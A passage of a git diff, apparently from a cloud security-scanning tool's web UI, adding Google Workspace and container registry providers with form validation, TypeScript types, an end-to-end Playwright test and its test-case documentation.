expect(this.alibabacloudProviderRadio).toBeVisible(); + await expect(this.googleworkspaceProviderRadio).toBeVisible(); } async verifyCredentialsPageLoaded(): Promise { diff --git a/ui/tests/providers/providers.md b/ui/tests/providers/providers.md index 2f2bc410ca..1e0873d5a1 100644 --- a/ui/tests/providers/providers.md +++ b/ui/tests/providers/providers.md @@ -948,3 +948,67 @@ - Organization ID must follow AWS format (e.g., o-abc123def4) - Role ARN must belong to the StackSet deployment for Organizations flow - Provider cleanup is executed before test run to avoid unique constraint conflicts + +--- + +## Test Case: `PROVIDER-E2E-017` - Add Google Workspace Provider with Service Account Credentials + +**Priority:** `critical` + +**Tags:** + +- type → @e2e, @serial +- feature → @providers +- provider → @googleworkspace + +**Description/Objective:** Validates the complete flow of adding a new Google Workspace provider using Service Account authentication with Customer ID, Service Account JSON, and delegated user email. + +**Preconditions:** + +- Admin user authentication required (admin.auth.setup setup) +- Environment variables configured: E2E_GOOGLEWORKSPACE_CUSTOMER_ID, E2E_GOOGLEWORKSPACE_SERVICE_ACCOUNT_JSON, E2E_GOOGLEWORKSPACE_DELEGATED_USER +- Remove any existing provider with the same Customer ID before starting the test +- This test must be run serially and never in parallel with other tests, as it requires the Customer ID not to be already registered beforehand. + +### Flow Steps: + +1. Navigate to providers page +2. Click "Add Provider" button +3. Select Google Workspace provider type +4. Fill provider details (customer ID and alias) +5. Verify Google Workspace credentials page is loaded +6. Fill Google Workspace credentials (customer ID, service account JSON, delegated user email) +7. Launch initial scan +8. Verify redirect to Scans page +9. Verify scheduled scan status in Scans table (provider exists and scan name is "scheduled scan") + +### Expected Result: + +- Google Workspace provider successfully added with Service Account credentials +- Initial scan launched successfully +- User redirected to Scans page +- Scheduled scan appears in Scans table with correct provider and scan name + +### Key verification points: + +- Provider page loads correctly +- Connect account page displays Google Workspace option +- Provider details form accepts customer ID (format: C[0-9a-zA-Z]+) and alias +- Credentials page loads with customer ID, service account JSON textarea, and delegated user email fields +- Customer ID help text is visible with instructions on finding the Customer ID +- Service account JSON field accepts multi-line formatted JSON +- Delegated user email field validates email format +- Launch scan page appears +- Successful redirect to Scans page after scan launch +- Provider exists in Scans table (verified by customer ID) +- Scan name field contains "scheduled scan" + +### Notes: + +- Test uses environment variables for Google Workspace credentials +- Service Account JSON is provided as multi-line JSON string (not base64 encoded) +- Customer ID must start with 'C' followed by alphanumeric characters (e.g., C01234abc) +- Delegated user email must be a super admin in the Google Workspace domain +- Provider cleanup performed before each test to ensure clean state +- Requires valid Google Workspace account with Service Account having domain-wide delegation enabled +- Service Account must have appropriate Google Workspace API scopes for security scanning diff --git a/ui/tests/providers/providers.spec.ts b/ui/tests/providers/providers.spec.ts index fc9f802830..7d2a5dd2a0 100644 --- a/ui/tests/providers/providers.spec.ts +++ b/ui/tests/providers/providers.spec.ts @@ -27,6 +27,9 @@ import { AlibabaCloudProviderData, AlibabaCloudProviderCredential, ALIBABACLOUD_CREDENTIAL_OPTIONS, + GoogleWorkspaceProviderData, + GoogleWorkspaceProviderCredential, + GOOGLEWORKSPACE_CREDENTIAL_OPTIONS, } from "./providers-page"; import { ScansPage } from "../scans/scans-page"; import fs from "fs"; @@ -1348,6 +1351,90 @@ test.describe("Add Provider", () => { }, ); }); + + test.describe.serial("Add Google Workspace Provider", () => { + let providersPage: ProvidersPage; + let scansPage: ScansPage; + + const customerId = process.env.E2E_GOOGLEWORKSPACE_CUSTOMER_ID ?? ""; + const serviceAccountJson = + process.env.E2E_GOOGLEWORKSPACE_SERVICE_ACCOUNT_JSON ?? ""; + const delegatedUser = process.env.E2E_GOOGLEWORKSPACE_DELEGATED_USER ?? ""; + + test.beforeEach(async ({ page }) => { + test.skip( + !customerId || !serviceAccountJson || !delegatedUser, + "Google Workspace E2E env vars are not set", + ); + providersPage = new ProvidersPage(page); + await deleteProviderIfExists(providersPage, customerId!); + }); + + test.use({ storageState: "playwright/.auth/admin_user.json" }); + + test( + "should add a new Google Workspace provider with service account credentials", + { + tag: [ + "@critical", + "@e2e", + "@providers", + "@googleworkspace", + "@serial", + "@PROVIDER-E2E-017", + ], + }, + async ({ page }) => { + const googleWorkspaceProviderData: GoogleWorkspaceProviderData = { + customerId: customerId, + alias: "Test E2E Google Workspace - Service Account", + }; + + const googleWorkspaceCredentials: GoogleWorkspaceProviderCredential = { + type: GOOGLEWORKSPACE_CREDENTIAL_OPTIONS.GOOGLEWORKSPACE_SERVICE_ACCOUNT, + serviceAccountJson: serviceAccountJson, + delegatedUser: delegatedUser, + }; + + // Navigate to providers page + await providersPage.goto(); + await providersPage.verifyPageLoaded(); + + // Start adding new provider + await providersPage.clickAddProvider(); + await providersPage.verifyConnectAccountPageLoaded(); + + // Select Google Workspace provider + await providersPage.selectGoogleWorkspaceProvider(); + + // Fill provider details (customer ID and alias) + await providersPage.fillGoogleWorkspaceProviderDetails( + googleWorkspaceProviderData, + ); + await providersPage.clickNext(); + + // Verify credentials page is loaded + await providersPage.verifyGoogleWorkspaceCredentialsPageLoaded(); + + // Fill credentials + await providersPage.fillGoogleWorkspaceCredentials( + googleWorkspaceCredentials, + ); + await providersPage.clickNext(); + + // Launch scan + await providersPage.verifyLaunchScanPageLoaded(); + await providersPage.clickNext(); + + // Wait for redirect to scan page + scansPage = new ScansPage(page); + await scansPage.verifyPageLoaded(); + + // Verify scan status is "Scheduled scan" + await scansPage.verifyScheduledScanStatus(customerId); + }, + ); + }); }); test.describe("Update Provider Credentials", () => { diff --git a/ui/types/components.ts b/ui/types/components.ts index cf74cc7970..787f58c51c 100644 --- a/ui/types/components.ts +++ b/ui/types/components.ts @@ -304,6 +304,15 @@ export type IacCredentials = { [ProviderCredentialFields.PROVIDER_ID]: string; }; +export type ImageCredentials = { + [ProviderCredentialFields.REGISTRY_USERNAME]?: string; + [ProviderCredentialFields.REGISTRY_PASSWORD]?: string; + [ProviderCredentialFields.REGISTRY_TOKEN]?: string; + [ProviderCredentialFields.IMAGE_FILTER]?: string; + [ProviderCredentialFields.TAG_FILTER]?: string; + [ProviderCredentialFields.PROVIDER_ID]: string; +}; + export type OCICredentials = { [ProviderCredentialFields.OCI_USER]: string; [ProviderCredentialFields.OCI_FINGERPRINT]: string; @@ -355,6 +364,13 @@ export type OpenStackCredentials = { [ProviderCredentialFields.PROVIDER_ID]: string; }; +export type GoogleWorkspaceCredentials = { + [ProviderCredentialFields.GOOGLEWORKSPACE_CUSTOMER_ID]: string; + [ProviderCredentialFields.GOOGLEWORKSPACE_CREDENTIALS_CONTENT]: string; + [ProviderCredentialFields.GOOGLEWORKSPACE_DELEGATED_USER]: string; + [ProviderCredentialFields.PROVIDER_ID]: string; +}; + export type CredentialsFormSchema = | AWSCredentials | AWSCredentialsRole @@ -363,13 +379,15 @@ export type CredentialsFormSchema = | GCPServiceAccountKey | KubernetesCredentials | IacCredentials + | ImageCredentials | M365Credentials | OCICredentials | MongoDBAtlasCredentials | AlibabaCloudCredentials | AlibabaCloudCredentialsRole | CloudflareCredentials - | OpenStackCredentials; + | OpenStackCredentials + | GoogleWorkspaceCredentials; export interface SearchParamsProps { [key: string]: string | string[] | undefined; diff --git a/ui/types/filters.ts b/ui/types/filters.ts index ee58e6edcf..b8e8105a81 100644 --- a/ui/types/filters.ts +++ b/ui/types/filters.ts @@ -1,10 +1,15 @@ -import { ProviderConnectionStatus, ProviderEntity } from "./providers"; +import { + GroupFilterEntity, + ProviderConnectionStatus, + ProviderEntity, +} from "./providers"; import { ScanEntity } from "./scans"; export type FilterEntity = | ProviderEntity | ScanEntity - | ProviderConnectionStatus; + | ProviderConnectionStatus + | GroupFilterEntity; export interface FilterOption { key: string; diff --git a/ui/types/formSchemas.ts b/ui/types/formSchemas.ts index 9c4cc58f41..7598757266 100644 --- a/ui/types/formSchemas.ts +++ b/ui/types/formSchemas.ts @@ -115,6 +115,11 @@ export const addProviderFormSchema = z [ProviderCredentialFields.PROVIDER_ALIAS]: z.string(), providerUid: z.string().trim().min(1, "Provider ID is required"), }), + z.object({ + providerType: z.literal("image"), + [ProviderCredentialFields.PROVIDER_ALIAS]: z.string(), + providerUid: z.string().trim().min(1, "Provider ID is required"), + }), z.object({ providerType: z.literal("oraclecloud"), [ProviderCredentialFields.PROVIDER_ALIAS]: z.string(), @@ -140,6 +145,17 @@ export const addProviderFormSchema = z [ProviderCredentialFields.PROVIDER_ALIAS]: z.string(), providerUid: z.string(), }), + z.object({ + providerType: z.literal("googleworkspace"), + [ProviderCredentialFields.PROVIDER_ALIAS]: z.string(), + providerUid: z + .string() + .trim() + .regex( + /^C[0-9a-zA-Z]+$/, + "Customer ID must start with 'C' followed by alphanumeric characters (e.g., C01234abc)", + ), + }), ]), ); @@ -269,44 +285,98 @@ export const addCredentialsFormSchema = ( .string() .min(1, "Access Key Secret is required"), } - : providerType === "cloudflare" + : providerType === "image" ? { - [ProviderCredentialFields.CLOUDFLARE_API_TOKEN]: - z.string().optional(), - [ProviderCredentialFields.CLOUDFLARE_API_KEY]: z + [ProviderCredentialFields.REGISTRY_USERNAME]: z + .string() + .optional(), + [ProviderCredentialFields.REGISTRY_PASSWORD]: z + .string() + .optional(), + [ProviderCredentialFields.REGISTRY_TOKEN]: z + .string() + .optional(), + [ProviderCredentialFields.IMAGE_FILTER]: z + .string() + .optional(), + [ProviderCredentialFields.TAG_FILTER]: z .string() .optional(), - [ProviderCredentialFields.CLOUDFLARE_API_EMAIL]: - z - .string() - .superRefine((val, ctx) => { - if (val && val.trim() !== "") { - const emailRegex = - /^[^\s@]+@[^\s@]+\.[^\s@]+$/; - if (!emailRegex.test(val)) { - ctx.addIssue({ - code: z.ZodIssueCode.custom, - message: - "Please enter a valid email address", - }); - } - } - }) - .optional(), } - : providerType === "openstack" + : providerType === "cloudflare" ? { - [ProviderCredentialFields.OPENSTACK_CLOUDS_YAML_CONTENT]: + [ProviderCredentialFields.CLOUDFLARE_API_TOKEN]: + z.string().optional(), + [ProviderCredentialFields.CLOUDFLARE_API_KEY]: + z.string().optional(), + [ProviderCredentialFields.CLOUDFLARE_API_EMAIL]: z .string() - .min( - 1, - "Clouds YAML content is required", - ), - [ProviderCredentialFields.OPENSTACK_CLOUDS_YAML_CLOUD]: - z.string().min(1, "Cloud name is required"), + .superRefine((val, ctx) => { + if (val && val.trim() !== "") { + const emailRegex = + /^[^\s@]+@[^\s@]+\.[^\s@]+$/; + if (!emailRegex.test(val)) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + message: + "Please enter a valid email address", + }); + } + } + }) + .optional(), } - : {}), + : providerType === "googleworkspace" + ? { + [ProviderCredentialFields.GOOGLEWORKSPACE_CUSTOMER_ID]: + z + .string() + .trim() + .regex( + /^C[0-9a-zA-Z]+$/, + "Customer ID must start with 'C' followed by alphanumeric characters (e.g., C01234abc)", + ), + [ProviderCredentialFields.GOOGLEWORKSPACE_CREDENTIALS_CONTENT]: + z.string().refine( + (val) => { + try { + const parsed = JSON.parse(val); + return ( + typeof parsed === "object" && + parsed !== null && + !Array.isArray(parsed) + ); + } catch { + return false; + } + }, + { + message: + "Invalid JSON format. Please provide a valid Service Account JSON.", + }, + ), + [ProviderCredentialFields.GOOGLEWORKSPACE_DELEGATED_USER]: + z.email({ + error: + "Please enter a valid email address", + }), + } + : providerType === "openstack" + ? { + [ProviderCredentialFields.OPENSTACK_CLOUDS_YAML_CONTENT]: + z + .string() + .min( + 1, + "Clouds YAML content is required", + ), + [ProviderCredentialFields.OPENSTACK_CLOUDS_YAML_CLOUD]: + z + .string() + .min(1, "Cloud name is required"), + } + : {}), }) .superRefine((data: Record, ctx) => { if (providerType === "m365") { @@ -369,6 +439,39 @@ export const addCredentialsFormSchema = ( } } + if (providerType === "image") { + const token = data[ProviderCredentialFields.REGISTRY_TOKEN]; + const username = data[ProviderCredentialFields.REGISTRY_USERNAME]; + const password = data[ProviderCredentialFields.REGISTRY_PASSWORD]; + + // When a token is provided, username/password validation is skipped (matches API behavior) + if (!token || token.trim() === "") { + if ( + username && + username.trim() !== "" && + (!password || password.trim() === "") + ) { + ctx.addIssue({ + code: "custom", + message: + "Registry Password is required when providing a username", + path: [ProviderCredentialFields.REGISTRY_PASSWORD], + }); + } + if ( + password && + password.trim() !== "" && + (!username || username.trim() === "") + ) { + ctx.addIssue({ + code: "custom", + message: + "Registry Username is required when providing a password", + path: [ProviderCredentialFields.REGISTRY_USERNAME], + }); + } + } + } if (providerType === "cloudflare") { // For Cloudflare, validation depends on the 'via' parameter if (via === "api_token") { diff --git a/ui/types/index.ts b/ui/types/index.ts index d10da8be0c..7832c7b8d8 100644 --- a/ui/types/index.ts +++ b/ui/types/index.ts @@ -6,6 +6,7 @@ export * from "./organizations"; export * from "./processors"; export * from "./provider-wizard"; export * from "./providers"; +export * from "./providers-table"; export * from "./resources"; export * from "./scans"; export * from "./tree"; diff --git a/ui/types/organizations.ts b/ui/types/organizations.ts index 2a6626f957..008179a442 100644 --- a/ui/types/organizations.ts +++ b/ui/types/organizations.ts @@ -148,10 +148,60 @@ export interface OrganizationAttributes { updated_at?: string; } +interface OrganizationRelationshipRef { + data: Array<{ id: string; type: T }>; +} + +interface OrganizationRelationships { + providers?: OrganizationRelationshipRef<"providers">; + organizational_units?: OrganizationRelationshipRef<"organizational-units">; +} + export interface OrganizationResource { id: string; type: "organizations"; attributes: OrganizationAttributes; + relationships?: OrganizationRelationships; +} + +export interface OrganizationListResponse { + data: OrganizationResource[]; + meta?: { + version?: string; + }; +} + +export interface OrganizationUnitAttributes { + name: string; + external_id: string; + parent_external_id: string | null; + metadata: Record; + inserted_at?: string; + updated_at?: string; +} + +export interface OrganizationUnitRelationships { + organization: { + data: { id: string; type: "organizations" }; + }; + parent?: { + data: { id: string; type: "organizational-units" } | null; + }; + providers?: OrganizationRelationshipRef<"providers">; +} + +export interface OrganizationUnitResource { + id: string; + type: "organizational-units"; + attributes: OrganizationUnitAttributes; + relationships: OrganizationUnitRelationships; +} + +export interface OrganizationUnitListResponse { + data: OrganizationUnitResource[]; + meta?: { + version?: string; + }; } export interface DiscoveryAttributes { diff --git a/ui/types/providers-table.ts b/ui/types/providers-table.ts new file mode 100644 index 0000000000..553355b75b --- /dev/null +++ b/ui/types/providers-table.ts @@ -0,0 +1,96 @@ +import { MetaDataProps } from "./components"; +import { FilterOption } from "./filters"; +import { + OrganizationResource, + OrganizationUnitResource, +} from "./organizations"; +import { ProviderProps } from "./providers"; + +export const PROVIDERS_ROW_TYPE = { + ORGANIZATION: "organization", + PROVIDER: "provider", +} as const; + +export type ProvidersRowType = + (typeof PROVIDERS_ROW_TYPE)[keyof typeof PROVIDERS_ROW_TYPE]; + +export const PROVIDERS_GROUP_KIND = { + ORGANIZATION: "organization", + ORGANIZATION_UNIT: "organization-unit", +} as const; + +export type ProvidersGroupKind = + (typeof PROVIDERS_GROUP_KIND)[keyof typeof PROVIDERS_GROUP_KIND]; + +export const PROVIDERS_PAGE_FILTER = { + PROVIDER: "provider__in", + PROVIDER_TYPE: "provider_type__in", + STATUS: "connected", +} as const; + +export type ProvidersPageFilter = + (typeof PROVIDERS_PAGE_FILTER)[keyof typeof PROVIDERS_PAGE_FILTER]; + +export interface ProviderTableRelationshipData { + id: string; + type: string; +} + +export interface ProviderTableRelationshipRef { + data: ProviderTableRelationshipData | null; +} + +export type ProviderTableRelationships = ProviderProps["relationships"] & { + organization?: ProviderTableRelationshipRef; + organization_unit?: ProviderTableRelationshipRef; + organizational_unit?: ProviderTableRelationshipRef; +}; + +export interface ProvidersProviderRow + extends Omit { + rowType: typeof PROVIDERS_ROW_TYPE.PROVIDER; + relationships: ProviderTableRelationships; + groupNames: string[]; + hasSchedule: boolean; + subRows?: ProvidersTableRow[]; +} + +export interface ProvidersOrganizationRow { + id: string; + rowType: typeof PROVIDERS_ROW_TYPE.ORGANIZATION; + groupKind: ProvidersGroupKind; + name: string; + externalId: string | null; + parentExternalId: string | null; + organizationId: string | null; + providerCount: number; + subRows: ProvidersTableRow[]; +} + +export type ProvidersTableRow = ProvidersOrganizationRow | ProvidersProviderRow; + +export interface ProvidersTableRowsInput { + isCloud: boolean; + organizations: OrganizationResource[]; + organizationUnits: OrganizationUnitResource[]; + providers: ProvidersProviderRow[]; +} + +export interface ProvidersAccountsViewData { + filters: FilterOption[]; + metadata?: MetaDataProps; + providers: ProviderProps[]; + rows: ProvidersTableRow[]; +} + +export function isProvidersOrganizationRow( + row: ProvidersTableRow, +): row is ProvidersOrganizationRow { + return row.rowType === PROVIDERS_ROW_TYPE.ORGANIZATION; +} + +export function isProvidersProviderRow( + row: ProvidersTableRow, +): row is ProvidersProviderRow { + return row.rowType === PROVIDERS_ROW_TYPE.PROVIDER; +} diff --git a/ui/types/providers.ts b/ui/types/providers.ts index aa04b8dd23..61a18722a2 100644 --- a/ui/types/providers.ts +++ b/ui/types/providers.ts @@ -6,7 +6,9 @@ export const PROVIDER_TYPES = [ "m365", "mongodbatlas", "github", + "googleworkspace", "iac", + "image", "oraclecloud", "alibabacloud", "cloudflare", @@ -23,7 +25,9 @@ export const PROVIDER_DISPLAY_NAMES: Record = { m365: "Microsoft 365", mongodbatlas: "MongoDB Atlas", github: "GitHub", + googleworkspace: "Google Workspace", iac: "Infrastructure as Code", + image: "Container Registry", oraclecloud: "Oracle Cloud Infrastructure", alibabacloud: "Alibaba Cloud", cloudflare: "Cloudflare", @@ -88,6 +92,11 @@ export interface ProviderEntity { alias: string | null; } +export interface GroupFilterEntity { + name: string; + uid: string; +} + export interface ProviderConnectionStatus { label: string; value: string; diff --git a/ui/types/resources.ts b/ui/types/resources.ts index 5413809145..da00e70cb2 100644 --- a/ui/types/resources.ts +++ b/ui/types/resources.ts @@ -145,3 +145,24 @@ export interface ResourceApiResponse { included: ResourceItemProps[]; meta: Meta; } + +export interface ResourceEventAttributes { + event_time: string; + event_name: string; + event_source: string; + actor: string; + actor_uid: string; + actor_type: string; + source_ip_address: string; + user_agent: string; + request_data: Record | null; + response_data: Record | null; + error_code: string | null; + error_message: string | null; +} + +export interface ResourceEventProps { + type: "resource-events"; + id: string; + attributes: ResourceEventAttributes; +} diff --git a/util/update_oci_regions.py b/util/update_oci_regions.py index 1d778b777a..cb012bec58 100644 --- a/util/update_oci_regions.py +++ b/util/update_oci_regions.py @@ -156,6 +156,10 @@ def update_config_file(regions, config_file_path): raise Exception( "Validation failed: OCI_GOVERNMENT_REGIONS section missing after update. Aborting to prevent data loss." ) + if "OCI_US_DOD_REGIONS" not in updated_content: + raise Exception( + "Validation failed: OCI_US_DOD_REGIONS section missing after update. Aborting to prevent data loss." + ) # Verify the replacement was successful if updated_content == config_content: